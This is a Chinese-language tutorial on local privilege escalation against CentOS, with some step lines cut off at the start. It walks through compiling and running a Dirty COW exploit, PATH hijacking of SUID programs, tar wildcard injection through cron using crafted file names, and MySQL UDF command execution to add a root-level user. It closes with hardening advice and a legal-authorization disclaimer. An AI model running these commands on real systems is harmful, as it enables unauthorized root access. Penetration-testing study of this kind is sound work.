利用CentOS Exploit漏洞提升权限的常见方法及步骤
在合法授权的前提下,针对CentOS系统的本地提权(Local Privilege Escalation, LPE),常见漏洞利用方法可分为以下几类,每种方法均需结合系统环境(如内核版本、软件配置)调整:
内核漏洞是提权的“黄金路径”,尤其是针对旧版本CentOS(如6.x、7.x)的内核缺陷。其中**Dirty COW(CVE-2016-5195)**是最经典的例子,适用于CentOS 5~7系列,利用写时拷贝(CoW)机制的条件竞争,将只读内存映射改为可写,进而获取root权限。
uname -a),下载对应exp(如GitHub上的dirtycow.c或Exploit-DB的40839.c)。gcc -pthread dirtycow.c -o dirtycow -lcrypt)。./dirtycow),按提示输入新密码(如testtest),exp会自动修改/etc/passwd文件,创建名为firefart的root用户。firefart和密码testtest,通过id命令确认权限(uid=0(root))。yum install gcc);SUID(Set User ID)程序允许普通用户以文件所有者(通常为root)的权限执行。若SUID程序存在缺陷(如调用系统命令未使用绝对路径),可通过劫持环境变量或命令实现提权。
find / -user root -perm -4000 -print 2>/dev/null命令,筛选出root所有且具有SUID权限的文件(如vim.tiny、find、bash)。vim.tiny),在/tmp目录下创建恶意脚本(echo "/bin/bash" > /tmp/vim),并赋予执行权限(chmod 777 /tmp/vim)。/tmp目录添加到PATH环境变量最前面(export PATH=/tmp:$PATH),确保系统优先执行/tmp下的命令。vim.tiny),输入:set shell=/bin/bash,再输入:shell,即可获得root Shell。system("cat /etc/passwd"));若系统的cron定时任务配置不当(如允许普通用户写入脚本),可通过植入恶意脚本实现提权。
cat /etc/crontab)或用户cron任务(crontab -l),寻找可写入的目录(如/opt/cron_test)。evil.sh),内容为创建root权限的bash文件(cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash)。touch -- "--checkpoint=1" -- "--checkpoint-action=exec=sh evil.sh"),触发cron任务执行恶意脚本。/tmp/rootbash -p获得root Shell。/opt/cron_test是否属于root且可写);第三方软件(如MySQL、Apache)的漏洞也可能导致提权,常见于软件以高权限(如root)运行时,未正确限制用户输入。
ps aux | grep mysql),并获取root密码(通过配置文件或爆破)。lib_mysqludf_sys.so)到MySQL插件目录(需root权限)。CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';,创建可执行系统命令的函数。SELECT sys_exec('useradd -m attacker -G wheel; echo "attacker:password" | chpasswd');创建root用户并设置密码。/usr/lib64/mysql/plugin/);rm -rf /),防止系统崩溃。若SUID程序或sudo脚本未使用绝对路径调用系统命令,可通过修改PATH环境变量,将恶意程序放在优先查找的目录(如/tmp),诱骗高权限程序执行恶意代码。
find / -perm -u=s -type f 2>/dev/null命令,筛选出调用外部命令的SUID程序(如demo程序,代码中包含system("cat /etc/passwd"))。/tmp目录下创建恶意程序(如echo "/bin/bash" > /tmp/cat),并赋予执行权限(chmod 777 /tmp/cat)。/tmp目录添加到PATH环境变量最前面(export PATH=/tmp:$PATH)。./demo),程序会优先执行/tmp/cat,从而获得root Shell。PATH变量,防止影响其他用户。yum update),修复已知漏洞;chmod u-s /path/to/program);chmod 700 /etc/cron*);/bin/cat而非cat);/etc/passwd、/etc/shadow等关键文件的修改,及时发现提权尝试。以上方法均需在合法授权范围内使用,严禁用于非法攻击。渗透测试前务必获得目标系统的明确授权,避免触犯法律。